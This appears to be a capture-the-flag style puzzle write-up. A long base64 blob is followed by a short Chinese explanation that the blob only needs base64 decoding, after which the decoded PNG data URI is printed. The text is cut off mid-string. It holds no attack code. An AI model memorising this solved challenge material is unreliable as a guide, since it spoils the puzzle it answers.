ZidDIrUHJRNGQwS0NvVXpRblZoRTFWckRhQklmd1ZBWEp0OTI4aVlZaENkOG8yNjNTN1BuZ0dsUzlldlhZSS9zMXQ1Ni8wQVN1ZDk1NXAxdk5XN2VMMVQxc3E5cHVyVnAzRk9jRGh3OGZsb0gzM3g4NzUrSzg3ZWhMVWJjMVVqYkVUdGNsYml3UG04cUVDUk5NVmFsSEFpUkFBaGxQQUFaUUhsM05LbUdZbnhHUmYzallianNtQW8wVmozNzkrd3RTTmJncGo2dXpmTmx5NWFSZWlsdUZibzR0dTIwRW1kMTIrKzJ5ZCsvZTdKY3k5aGtybWZmZGQxOXNXOWh0Q0psZ2E2VHNySS9jTTNEME01RlZ1cFM3ZnYxNkUxWHFrQUFKa0FBSktBR2tpYmo3cnJzRUt3OStDSXl2MjlXcC84TVBQM1M5ZTVSTkdqQmdRTXdIeXZYT1V1Z0F4NkJ2djM2eExjQVVQaDZwaitCWS9mMkJCd1ErMzE1SUp0Z2FLUmxpU0FKNHpUWFhHQjhEK0JkUVNJQUVTSUFFN0FpOHJ3bER4NDRkYS9jaEI3UmhlUFJUdzhQcEtNbEVRME9PeVI0OWVsaW50RWpVcGhQdndmZXFUNTgrc216Wk1pZWFDM1ViZS9ic2taN3FrL2VTUjVWeE1zWFdTTWtRZzA4Q25DQk5aS01XQVYyNmRLbUpLblZJZ0FSSWdBUnlFUmlqaHRnY1RXUGdsV1Q3L3J5NWVMRlhYZjYzbjUwN2QwcjM2NitYVVpwVTFLK1Z3UDhPUnY5WTgvNzdnaEpRU04yUjZZS0tDaTAxUUdTeGgrZEZwdGdhMW9ZWURMQzJhb2laeXFUSmswMVZxVWNDSkVBQ0pKQ0xBUHh4N2xWL25FRWFXWWdvT1RkbDgrYk4wcUZqUjVtckNVWDlFc3dYWlgrUVlCU3BMZnlRbkdOQUFJU2Jza3hMQTMzMzNYZHVkcEZXMi9DSjY2L2J4bmZxcWlBaVViMlNUTEkxekp5OGNwQnZvVnVTaU5ReEVVU1l2UGJhYXlhcTFDRUJFaUFCRWtoQUFJbEhzY09BZkY2cFpEOVAwSFRNd0JzM2ZyeU0xOGVoUTRjU3FYcjJIclpsVzdSc0tWZGRkWldnR0hmcDBxVmQ3eHQrY1hQVUNFWGljYStpL0ovUVFJVW5uM3hTa0xBVXFUV1FZc1NONUsyMjhKQVc0M2s5NTJDVUkyakRhOGtrVzhQS0VJTnpma2U5V3pJVkpMM0RuVVdVNU1jZmZ6U2V6a0VMWGVOR0RSUnR4b2ptYlBYakRjRzBEU1NHaExPbkY0SXhtV1RmTmgyN3paaHQyc1NGeisyb05KdXhSMEVYSzBmZ2FocFFaSE84L09TemJ0MDZhYVAxRnBGRERINjZKVXFVU0dzNHVNQmlDM0tpK3ZIaXdoczB3ZS9GODg4L0g4dCszNkJCQStuY3FaTXJhU3F3NmpORCswRVdlL2hCZVMyNFRxN1dSSzE0UEtxVkU4cVVLU01vUWw2dGFsV3BWcTJhWjRZWnZqZllnb1FCWmx0K3lrbG1tV1pyNUtsVXVienhWUkhsSVA2aDBSSW1nb1I2VFpvMnRjcjZiTkl1ZFVpQUJFZ2d6QVFXNm9XdXNDWVlUU1pZL1dyYnJsMUN0UXN1dUVCYWFJYjRCdlhyR3lkcS9lbW5uMklKU1Y5ZHNDRDJqUC9ESkVoblVLTkdqZGlqcGo3RGFMRVZwS0o0WC8yL1lQaThoMHoxSDMwVW1KWEFlSFBKeXNxS3BTV3BldmJac1lTc01NQkxsU3BsdkRzVnIwMjhobTFYR1Bmck5Lc0JucEd0SDhhdjM1SnB0b2JWaWxnWGk5cGswN1I0YU5pKzRINmZmT3lmQkVpQUJHd0lMRmYvSWp5d2dvQWNZdGl5UkozQ1l2cU1UT3BZRmR5bG1lYVI3RFg3Z1l0dm1GZGd2Lzc2NjFoSm5leXlPaWpSVTFxTmtpeDFtVGxaSDluUEoyb1MyNS9WeU55cldlYjNxZzlXN0ZsWHZuWXJqMDgxRTcxWEsvTTJ4L05vdXNpV2oxSkNlT1FVWk15SFVZWmNjd1gwNy96cXd3M2ZxdnlhVWY4RWZSeW5DVjkvVk1NcWxtMWZqVThZb05rUCtOK2hDa0VRSmROc0RXTkRESFdwVUdiQVJKRC9Cc3U4RkJJZ0FSSWdBZmNKd09DQ2dZSkhwZ20yRXYzWVRnd0NaMXhyTjIzYUZIc0VZVHhPakNFVGJRM2pxRW1VR0RDVldiTm14YXh1VTMzcWtRQUprQUFKa0FBSmtFQW0yaHBHaGhqMjQxSEx5MFRnN0RmVnc4cjBKbU9pRGdtUUFBbVFBQW1RUUxBSlpLcXRZV1NJZGV2YTFmam9ZZDkrcC9valVFaUFCRWlBQkVpQUJFakFsRUNtMmhwSkRiRUtGU3BJM2JwMWpUZ2lCSmNKWEkxUVVZa0VTSUFFU0lBRVNPQS9CRExaMWtocWlObEVMeUFmalZkSjhIajJrZ0FKa0FBSmtBQUpSSU5BSnRzYUNRMHhoTVUyYk5qUStDZ2pLU0NGQkVpQUJFaUFCRWlBQkV3SlpMcXRrZEFRYTZmSkJQUG16V3ZFY3VXcVZiSmVrOEpSU0lBRVNJQUVTSUFFU01DVVFLYmJHZ256aU1IeDNyVHN4ZHExYTAyWlU0OEVTSUFFU0lBRVNJQUVZZ1F5M2RaSWFJaWgzQUVlRkJJZ0FSSWdBUklnQVJKd2cwQ20yeG9KdHliZEFNNDJTWUFFU0lBRVNJQUVTSUFFZmlOQVE0eG5BZ21RQUFtUUFBbVFBQW40UklDR21FL2cyUzBKa0FBSmtBQUprQUFKMEJEak9VQUNKRUFDSkVBQ0pFQUNQaEdnSWVZVGVIWkxBaVJBQWlSQUFpUkFBalRFZUE2UUFBbVFBQW1RQUFtUWdFOEVhSWo1Qko3ZGtnQUprQUFKa0FBSmtBQU5NWjRESkVBQ0pFQUNKRUFDSk9BVEFScGlQb0ZudHlSQUFpUkFBaVJBQWlSQVE0em5BQW1RQUFtUUFBbVFBQW40UklDR21FL2cyUzBKa0FBSmtBQUprQUFKSkt3MVNUd2tRQUlrUUFMT0V1alpxNWNVek1wSzJ1ak9YYnVTNmxDQkJFZ2cvQVR5VktwYy9rajRwOEVaa0FBSmtBQUprQUFKa0VENENQdy9CTW1TU0lkbU1Dc0FBQUFBU1VWT1JLNUNZSUk9題目說明: 從這堆亂碼中找到答案。解答:其實這題也相當直白,不需想太多;常使用編碼的人應該能發現這堆亂碼就只是base64的字串,我們先把他 解回去 ,得到:data:image/png;base64,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